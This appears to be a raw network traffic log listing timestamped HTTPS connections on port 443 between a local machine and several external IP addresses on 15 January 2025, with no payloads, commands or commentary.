Jan 15, 2025 15:12:14.363322973 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.363343954 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.363358021 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.363404989 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.363796949 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.363866091 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.363928080 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.363965034 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.363976955 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.363981962 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.364011049 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.364414930 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.364478111 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.364484072 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.364531994 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.428958893 CET	443	50664	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:14.429470062 CET	50664	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:14.429491043 CET	443	50664	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:14.430500031 CET	443	50664	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:14.430648088 CET	50664	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:14.431687117 CET	50664	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:14.431745052 CET	443	50664	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:14.431778908 CET	50664	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:14.450602055 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.450644016 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.450674057 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.450707912 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.450722933 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.450726032 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.450754881 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.450761080 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.450793028 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.450795889 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.450855970 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.450864077 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.450968981 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.450985909 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.451035976 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.451042891 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.451046944 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.451070070 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.451086998 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.451092005 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.451153994 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.451209068 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.451292038 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.451455116 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.451472044 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.456445932 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:14.456475019 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:14.456641912 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:14.456947088 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:14.456957102 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:14.474724054 CET	50664	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:14.474734068 CET	443	50664	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:14.493946075 CET	50667	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:14.493993044 CET	443	50667	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:14.494074106 CET	50667	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:14.494534016 CET	50667	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:14.494546890 CET	443	50667	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:14.522912979 CET	50664	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:14.616123915 CET	443	50664	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:14.616254091 CET	443	50664	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:14.616338968 CET	50664	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:14.620870113 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.620909929 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.620944023 CET	50664	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:14.620969057 CET	443	50664	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:14.620978117 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.621897936 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.621911049 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.643421888 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:14.643479109 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:14.643546104 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:14.643798113 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:14.643810987 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:14.701344967 CET	50670	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:14.701392889 CET	443	50670	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:14.701478004 CET	50670	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:14.701710939 CET	50670	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:14.701725006 CET	443	50670	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:14.784748077 CET	443	50665	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:14.785062075 CET	50665	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:14.785089016 CET	443	50665	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:14.785409927 CET	443	50665	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:14.786035061 CET	50665	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:14.786094904 CET	443	50665	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:14.786267042 CET	50665	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:14.831337929 CET	443	50665	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:14.961319923 CET	443	50665	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:14.961410046 CET	443	50665	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:14.961508989 CET	50665	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:14.963736057 CET	50665	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:14.963754892 CET	443	50665	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.075501919 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.102799892 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.121157885 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.124104023 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.142895937 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.142908096 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.143171072 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.143182993 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.143371105 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.143647909 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.145886898 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.145904064 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.146501064 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.159560919 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.159665108 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.166357040 CET	443	50667	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:15.176165104 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.176239967 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.190221071 CET	443	50670	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.191780090 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.191960096 CET	50667	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:15.191967964 CET	443	50667	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:15.192044973 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.192082882 CET	50670	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.192089081 CET	443	50670	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.192214012 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.192214012 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.192255974 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.193051100 CET	443	50670	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.193104982 CET	50670	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.193464041 CET	443	50667	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:15.193530083 CET	50667	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:15.196105003 CET	443	50667	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:15.198126078 CET	50667	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:15.199445009 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.199529886 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.201306105 CET	50667	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:15.201504946 CET	443	50667	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:15.201721907 CET	50670	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.201776981 CET	443	50670	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.201888084 CET	50667	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:15.201900005 CET	443	50667	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:15.202172995 CET	50670	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.202183962 CET	443	50670	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.242244005 CET	50670	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.242357969 CET	50667	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:15.243334055 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.247340918 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.304672003 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.304716110 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.304768085 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.304805994 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.304833889 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.304848909 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.304872036 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.304924965 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.304932117 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.305291891 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.305330992 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.305346012 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.305351973 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.305391073 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.305393934 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.309530020 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.309597015 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.309643984 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.309647083 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.309665918 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.309724092 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.309729099 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.309741974 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.309779882 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.309789896 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.309876919 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.309917927 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.309926033 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.309973001 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.310014963 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.310020924 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.345447063 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.345478058 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.357371092 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.357409000 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.357455015 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.357522964 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.357523918 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.357523918 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.357539892 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.357723951 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.357747078 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.357803106 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.357812881 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.361095905 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.361110926 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.362128019 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.362144947 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.362271070 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.362286091 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.362512112 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.377068043 CET	443	50670	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.377221107 CET	443	50670	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.377289057 CET	50670	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.378299952 CET	50670	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.378320932 CET	443	50670	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.390846014 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.390897989 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.390906096 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.390950918 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.390983105 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.391036987 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.391041994 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.391144991 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.391184092 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.391189098 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.391228914 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.391452074 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.391556025 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.391586065 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.391628027 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.391633034 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.391705990 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.392352104 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.392421007 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.392446995 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.392484903 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.392488003 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.392498016 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.392534971 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.393328905 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.393378973 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.393382072 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.393409967 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.393457890 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.393482924 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.393501043 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.393507957 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.393517971 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.394242048 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.394273996 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.394293070 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.394299030 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.394342899 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.399811029 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.399864912 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.399869919 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.399888992 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.399945974 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.399965048 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.399972916 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.400016069 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.400019884 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.400038004 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.400085926 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.400093079 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.400794029 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.400842905 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.400844097 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.400856018 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.400899887 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.400907040 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.401591063 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.401633024 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.401649952 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.401657104 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.401699066 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.401705980 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.401779890 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.401824951 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.401832104 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.402623892 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.402662992 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.402700901 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.402709961 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.402746916 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.402754068 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.402793884 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.403103113 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.403110027 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.444267035 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.444324970 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.444415092 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.444469929 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.444470882 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.444497108 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.444621086 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.444868088 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.444916964 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.444931030 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.445460081 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.445508957 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.445511103 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.445529938 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.445559025 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.445583105 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.445638895 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.445699930 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.445699930 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.445709944 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.445785046 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.446351051 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.446405888 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.446428061 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.446521044 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.446533918 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.446553946 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.446615934 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.446615934 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.447196960 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.485892057 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.485965014 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.485996008 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.486044884 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.486049891 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.486063957 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.486080885 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.486088037 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.486134052 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.486138105 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.486177921 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.486325979 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.486386061 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.486390114 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.486399889 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.486468077 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.486473083 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.487189054 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.487241030 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.487245083 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.487262011 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.487289906 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.487294912 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.487304926 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.487562895 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.487811089 CET	50668	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:15.487819910 CET	443	50668	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:15.488075972 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.488123894 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.488123894 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.488133907 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.488171101 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.488176107 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.488224983 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.488229990 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.488272905 CET	50666	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:15.489006996 CET	443	50666	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:15.489041090 CET	443	50666	104.18.94.41	192.168.2.7
